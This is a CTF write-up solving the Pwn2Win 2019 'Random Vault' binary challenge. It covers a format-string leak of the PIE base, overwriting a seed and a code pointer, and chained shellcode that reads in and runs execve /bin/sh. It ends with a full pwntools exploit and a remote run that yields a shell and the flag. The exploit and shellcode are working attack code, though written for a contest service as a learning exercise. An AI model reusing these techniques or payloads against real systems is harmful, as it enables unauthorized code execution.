[Pwn] Pwn2Win 2019 CTF - Random Vault

Random Vault

303 points

Description:

While analysing data obtained through our cyber operations, our analysts have discovered an old service in HARPA
infrastructure. This service has been used to store the agency’s secrets, but it has been replaced by a more
sophisticated one after a few years. By mistake, this service remained available on Internet until December 2019,
when HARPA agents realized this flaw and took it down. We suspect this service is vulnerable. We need your help to
exploit its vulnerability and extract the secrets that are still kept on the server.
random_vault

Fast Solution

  1. Use 1st format string to leak pie address
  2. Use 2nd format string to modify Seed and QWORD_5000 to shellcode place.
  3. Use shell codes jumps to manage to execute read syscall and write shellcode from the stdin.

Identifying the vulnerability

First thing to do is the check the security settings enabled:

1
2
3
4
5
6
7
$ checksec random_vault
[*] '/ctf/pwn/RandomVault/random_vault'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Full RELRO is enabled so the global offset table is read only which is a thing we need to take into consideration on this challenge. Also PIE is enabled too this means if we require to get an address of a function or a pointer to a specific address of the program we will need to get a leak to calculate the PIE base.

We can easily find a vulnerability in the username field:

Unfortunately we can only use twice, one when the program starts and one username change:

qword_4020 is set to a very large negative number, which prevents us from at every username change to revert the global back to its original value, well theoretically is possible but we only have 81 characters to do it, because of this it’s not possible to do it with 4 %hn‘s, instead we could do it with two %n‘s but it’s way too many characters to print, this would take hours so this option was discarded by me in the beginning.

Also something interesting happens on the usual function where the setvbuff functions are lying in:

mprotect is changing the protections settings from a region of memory at qword_5000 0x1000 bytes are now RWX this means in this region we can read, write and execute code.

Leaking pie

We have a format string vulnerability right at the start of the program so let’s leak some addresses with:

1
r.sendlineafter('Username: ','%7$lx|%11$lx')

An address aligned with the PIE base is located at the 11 position the stack, also an address aligned with the stack addresses is located at the 7th but I didn’t require this one for my current solution.

One thing we could take from the store function:

Store function will store pointers from the stdin on random locations, which are generated based on a seed, we can control this seed by using format string, knowing those locations on that special memory region RWX we can modify qword_5000 pointer to one of them and execute our shellcode.

Here is a function I wrote in python to calculate the offsets with the seed 0:

1
2
3
4
5
6
7
8
def indices_with_seed_zero():
from ctypes import cdll
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0)
for x in xrange(7):
v0 = libc.rand()
q = ((v0 >> 0x38) + v0) & 0xff - ((v0 >> 0x1F) >> 0x18)
print q*8

The output:

1
2
3
4
5
6
7
8
$ python random_vault.py 
824
1584
840
920
648
2040
592

So the locations that we are going to write are:

1
2
3
4
5
6
7
Index 0: PIE_BASE+824+0x5010
Index 1: PIE_BASE+1584+0x5010
Index 2: PIE_BASE+840+0x5010
Index 3: PIE_BASE+920+0x5010
Index 4: PIE_BASE+648+0x5010
Index 5: PIE_BASE+2040+0x5010
Index 6: PIE_BASE+592+0x5010

The format string code used to overwrite SEED and qword_5000:

1
2
3
4
5
6
7
8
9
10
11
12
SEED = PIE+0x5008
QWORD5000 = PIE+0x5000
unk_5010 = PIE+0x5010

LOW_QWORD4020 = unk_5010 & 0xf000 | 0x348
payload = '%29$ln' # Clear SEED
payload += '%{}x%30$hn'.format(LOW_QWORD4020)

s = payload
s += ' '*(40-len(payload))
s += p64(SEED)
s += p64(QWORD5000)

Index 0 and Index 2 are very near to each other! 0x10 byte apart, I used this to my advantage and manage to call a read syscall successfully.

First on index 0 I cleared RDI register and jumped to Index 2:

1
2
3
xor edi, edi ; clears rdi (we want to read from STDIN so we need this to be 0)
add rdx, 0x10 ; ads 0x10 to $rdx register which contains the address where we initially jumped
jmp rdx ; jumps to Index 2 shellcode

Finally we exchange R11 with RDX(size of bytes we want to read) and R11 with RSI (buffer we want to write), luckily RAX is already 0 which is the number of read sycall on linux at x64 :

1
2
3
xchg r11,rdx ; initial value of $r11 is 0x241 so we want this on rdx register 
xchg r11,rsi ; old value of $rdx is now at r11 this address is also the address right at the rip instruction
syscall ; read($rdi, $rsi, rdx) with $rax == 0

The code to this store this shellcode:

1
2
3
4
5
r.sendlineafter('4. Quit\n\n','2')
r.sendlineafter(': ', str(0xe2ff10c28348ff31)) # xor edi, edi ; add rdx, 0x10 ; jmp rdx

for i in range(6):
r.sendlineafter(': ', str(0x050ff38749d38749)) # xchg r11,rdx ; xchg r11,rsi ; syscall

Finally we can read from the STDIN the shellcode that will get us a shell:

1
2
3
4
5
6
7
8
9
10
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
xor eax, eax
cdq
xor esi, esi
push rsp
pop rdi
mov al, 0x3b ; sys_execve
syscall

Sending data from the stdin:

1
2
3
rip = p64(0x050ff38749d38749) # needs to be the code at #rip otherwise we get a segfault
shellcode = '\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05'
r.sendline(rip+shellcode)

The full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
#from libc import time,time_t

host, port = "200.136.252.34", "1245"
filename = "./random_vault"
elf = ELF(filename)
context.arch = 'amd64'

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
if x < 0xffff:
script += "b *0x%x\n"%(PIE+x)
else:
script += "b *0x%x\n"%(x)
gdb.attach(r,gdbscript=script)

def indices_with_seed_zero():
from ctypes import cdll
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0)
for x in xrange(7):
v0 = libc.rand()
q = ((v0 >> 0x38) + v0) & 0xff - ((v0 >> 0x1F) >> 0x18)
print q*8

context.terminal = ['tmux', 'new-window']

r = getConn()

r.sendlineafter('Username: ','%7$lx|%11$lx')
r.recvuntil('Hello, ')
STACK = int(r.recvuntil('|')[:-1],16)
PIE = int(r.recvline().rstrip(),16) - 0x1750
SEED = PIE+0x5008
QWORD5000 = PIE+0x5000
unk_5010 = PIE+0x5010

log.info("LEAKED STACK 0x%x" % STACK)
log.info("LEAKED PIE 0x%x" % PIE)
log.info("LEAKED SEED 0x%x" % SEED)
log.info("LEAKED QWORD5000 0x%x" % QWORD5000)
log.info("LEAKED unk_5010 0x%x" % unk_5010)
r.sendlineafter('4. Quit\n\n','1')
#context.log_level = "debug"
shellcode = '\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05'

LOW_QWORD4020 = unk_5010 & 0xf000 | 0x348
payload = '%29$ln' # Clear SEED
payload += '%{}x%30$hn'.format(LOW_QWORD4020)

s = payload
s += ' '*(40-len(payload))
s += p64(SEED)
s += p64(QWORD5000)

r.sendlineafter('Username: ', s)
#r.recvuntil('\x20\x20\x32')

if not args.REMOTE and args.GDB:
debug([0x16B5,0x1474,0x161F]) # 0x16B5,0x1474,15AC

r.sendlineafter('4. Quit\n\n','2')
r.sendlineafter(': ', str(0xe2ff10c28348ff31)) # xor edi, edi ; add rdx, 0x10 ; jmp rdx

for i in range(6):
r.sendlineafter(': ', str(0x050ff38749d38749)) # xchg r11,rdx ; xchg r11,rsi ; syscall

r.sendline(p64(0x050ff38749d38749)+shellcode)
r.interactive()
r.close()

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
$ python random_vault.py REMOTE
[+] Opening connection to 200.136.252.34 on port 1245: Done
[*] LEAKED STACK 0x7ffeb091b470
[*] LEAKED PIE 0x55661a762000
[*] LEAKED SEED 0x55661a767008
[*] LEAKED QWORD5000 0x55661a767000
[*] LEAKED unk_5010 0x55661a767010
[*] Switching to interactive mode
You've stored the following secrets:
#1: 16356810799245229873, #2: 364777857225033545, #3: 364777857225033545, #4: 364777857225033545, #5: 364777857225033545, #6: 364777857225033545, #7: 364777857225033545
$ cat home/chall/flag
CTF-BR{_r4nd0m_1nd1c3s_m4ke_th3_ch4ll3nge_m0r3_fun_}